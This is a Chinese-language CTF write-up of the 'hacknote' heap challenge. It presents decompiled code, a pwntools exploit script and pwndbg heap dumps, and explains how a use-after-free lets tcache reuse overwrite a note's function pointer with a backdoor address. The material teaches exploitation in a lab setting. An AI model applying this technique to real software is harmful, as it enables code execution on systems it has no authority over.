分析
checksec
1 2 3 ➜ heap checksec --file=hacknote RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 86) Symbols No 0 2hacknote
ida
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; char buf[4 ]; int *p_argc; p_argc = &argc; setvbuf(stdout , 0 , 2 , 0 ); setvbuf(stdin , 0 , 2 , 0 ); while ( 1 ) { while ( 1 ) { menu(); read(0 , buf, 4u ); v3 = atoi(buf); if ( v3 != 2 ) break ; del_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { print_note(); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Invalid choice" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } }
menu函数:
1 2 3 4 5 6 7 8 9 10 11 12 int menu () { puts ("----------------------" ); puts (" HackNote " ); puts ("----------------------" ); puts (" 1. Add note " ); puts (" 2. Delete note " ); puts (" 3. Print note " ); puts (" 4. Exit " ); puts ("----------------------" ); return printf ("Your choice :" ); }
del_note函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int del_note () { int result; char buf[4 ]; int v2; printf ("Index :" ); read(0 , buf, 4u ); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts ("Out of bound!" ); _exit(0 ); } result = *((_DWORD *)¬elist + v2); if ( result ) { free (*(void **)(*((_DWORD *)¬elist + v2) + 4 )); free (*((void **)¬elist + v2)); return puts ("Success" ); } return result; }
print_note函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int print_note () { int result; char buf[4 ]; int v2; printf ("Index :" ); read(0 , buf, 4u ); v2 = atoi(buf); if ( v2 < 0 || v2 >= count ) { puts ("Out of bound!" ); _exit(0 ); } result = *((_DWORD *)¬elist + v2); if ( result ) return (**((int (__cdecl ***)(_DWORD))¬elist + v2))(*((_DWORD *)¬elist + v2)); return result; }
add_note函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int add_note () { int result; int v1; char buf[8 ]; size_t size; int i; result = count; if ( count > 5 ) return puts ("Full" ); for ( i = 0 ; i <= 4 ; ++i ) { result = *((_DWORD *)¬elist + i); if ( !result ) { *((_DWORD *)¬elist + i) = malloc (8u ); if ( !*((_DWORD *)¬elist + i) ) { puts ("Alloca Error" ); exit (-1 ); } **((_DWORD **)¬elist + i) = print_note_content; printf ("Note size :" ); read(0 , buf, 8u ); size = atoi(buf); v1 = *((_DWORD *)¬elist + i); *(_DWORD *)(v1 + 4 ) = malloc (size); if ( !*(_DWORD *)(*((_DWORD *)¬elist + i) + 4 ) ) { puts ("Alloca Error" ); exit (-1 ); } printf ("Content :" ); read(0 , *(void **)(*((_DWORD *)¬elist + i) + 4 ), size); puts ("Success !" ); return ++count; } } return result; }
利用
利用代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = process('./hacknote' ) def add (size,content ): p.sendlineafter('choice :' ,'1' ) p.sendlineafter('Note size :' ,str (size)) p.sendlineafter('Content :' ,content) def delete (index ): p.recvuntil("Your choice :" ) p.sendline("2" ) p.recvuntil("Index :" ) p.sendline(str (index)) def print_ (index ): p.recvuntil("Your choice :" ) p.sendline("3" ) p.recvuntil("Index :" ) p.sendline(str (index)) magic=0x08048945 add(30 ,"HAPPY" ) add(30 ,"HAPPY" ) delete(0 ) delete(1 ) gdb.attach(p) pause()
利用全流程
关键步骤解释
步骤
操作
堆状态变化
1
add(30,"A")
分配管理结构A(0x10) + 用户区A(0x30)
2
add(30,"B")
分配管理结构B(0x10) + 用户区B(0x30)
3
delete(0)
管理结构A进入tcache[0x10] 用户区A进入tcache[0x30]
4
delete(1)
管理结构B进入tcache[0x10]头部 用户区B进入tcache[0x30]
5
add(8,p32(magic))
从tcache[0x10]取出M2 覆盖M2.print_func=magic
6
print(1)
调用M2.print_func()→执行magic
两次add后观察
可以看到,申请了0xa03d198,0xa03d1a8,0xa03d1d8,0xa03d1e8四个chunk
注意到他们size是不一样的,有两个是0x10,有两个是0x30
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0xa03d008 Size: 0x190 (with flag bits: 0x191) Allocated chunk | PREV_INUSE Addr: 0xa03d198 Size: 0x10 (with flag bits: 0x11) Allocated chunk | PREV_INUSE Addr: 0xa03d1a8 Size: 0x30 (with flag bits: 0x31) Allocated chunk | PREV_INUSE Addr: 0xa03d1d8 Size: 0x10 (with flag bits: 0x11) Allocated chunk | PREV_INUSE Addr: 0xa03d1e8 Size: 0x30 (with flag bits: 0x31) Top chunk | PREV_INUSE Addr: 0xa03d218 Size: 0x21de8 (with flag bits: 0x21de9)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 pwndbg> heap -v Allocated chunk | PREV_INUSE Addr: 0xa03d008 prev_size: 0x00 size: 0x190 (with flag bits: 0x191) fd: 0x00 bk: 0x00 fd_nextsize: 0x00 bk_nextsize: 0x00 Allocated chunk | PREV_INUSE Addr: 0xa03d198 prev_size: 0x00 size: 0x10 (with flag bits: 0x11) fd: 0x80485fb bk: 0xa03d1b0 fd_nextsize: 0x00 bk_nextsize: 0x31 Allocated chunk | PREV_INUSE Addr: 0xa03d1a8 prev_size: 0x00 size: 0x30 (with flag bits: 0x31) fd: 0x50504148 bk: 0xa59 fd_nextsize: 0x00 bk_nextsize: 0x00 Allocated chunk | PREV_INUSE Addr: 0xa03d1d8 prev_size: 0x00 size: 0x10 (with flag bits: 0x11) fd: 0x80485fb bk: 0xa03d1f0 fd_nextsize: 0x00 bk_nextsize: 0x31 Allocated chunk | PREV_INUSE Addr: 0xa03d1e8 prev_size: 0x00 size: 0x30 (with flag bits: 0x31) fd: 0x50504148 bk: 0xa59 fd_nextsize: 0x00 bk_nextsize: 0x00 Top chunk | PREV_INUSE Addr: 0xa03d218 prev_size: 0x00 size: 0x21de8 (with flag bits: 0x21de9) fd: 0x00 bk: 0x00 fd_nextsize: 0x00 bk_nextsize: 0x00
两次delete后
可以看到chunk已经释放了,并且放到了tcachebins里面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x9b65008 Size: 0x190 (with flag bits: 0x191) Free chunk (tcachebins) | PREV_INUSE Addr: 0x9b65198 Size: 0x10 (with flag bits: 0x11) fd: 0x9b65 Free chunk (tcachebins) | PREV_INUSE Addr: 0x9b651a8 Size: 0x30 (with flag bits: 0x31) fd: 0x9b65 Free chunk (tcachebins) | PREV_INUSE Addr: 0x9b651d8 Size: 0x10 (with flag bits: 0x11) fd: 0x9b6cac5 Free chunk (tcachebins) | PREV_INUSE Addr: 0x9b651e8 Size: 0x30 (with flag bits: 0x31) fd: 0x9b6cad5 Top chunk | PREV_INUSE Addr: 0x9b65218 Size: 0x21de8 (with flag bits: 0x21de9)
查看一下bins,是否放到此处:
可以看到,tcachebins已经存储了释放的chunk
1 2 3 4 5 6 7 8 9 10 11 12 pwndbg> bins tcachebins 0x10 [ 2]: 0x9b651e0 —▸ 0x9b651a0 ◂— 0 0x30 [ 2]: 0x9b651f0 —▸ 0x9b651b0 ◂— 0 fastbins empty unsortedbin empty smallbins empty largebins empty
add后门函数后
可以发现有两个chunk被重新利用了0x83a5198,0x83a51d8
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x83a5008 Size: 0x190 (with flag bits: 0x191) Allocated chunk | PREV_INUSE Addr: 0x83a5198 Size: 0x10 (with flag bits: 0x11) Free chunk (tcachebins) | PREV_INUSE Addr: 0x83a51a8 Size: 0x30 (with flag bits: 0x31) fd: 0x83a5 Allocated chunk | PREV_INUSE Addr: 0x83a51d8 Size: 0x10 (with flag bits: 0x11) Free chunk (tcachebins) | PREV_INUSE Addr: 0x83a51e8 Size: 0x30 (with flag bits: 0x31) fd: 0x83ad215 Top chunk | PREV_INUSE Addr: 0x83a5218 Size: 0x21de8 (with flag bits: 0x21de9)
查看chunk内存数据:
可以发现后门函数0x08048945 已经被写入了
1 2 pwndbg> x/4wx 0x83a5198 0x83a5198: 0x00000000 0x00000011 0x08048945 0x0000000
问题 为什么add(8,p32(magic)),size为什么不是0x10? 可以看到在gdb里面,chunk size为0x10,这是实际chunk大小,但是真正的空间其实只有8,因为这里面是有个chunk 头。chunk结构如下:
1 2 3 4 5 struct malloc_chunk { size_t prev_size; size_t size; };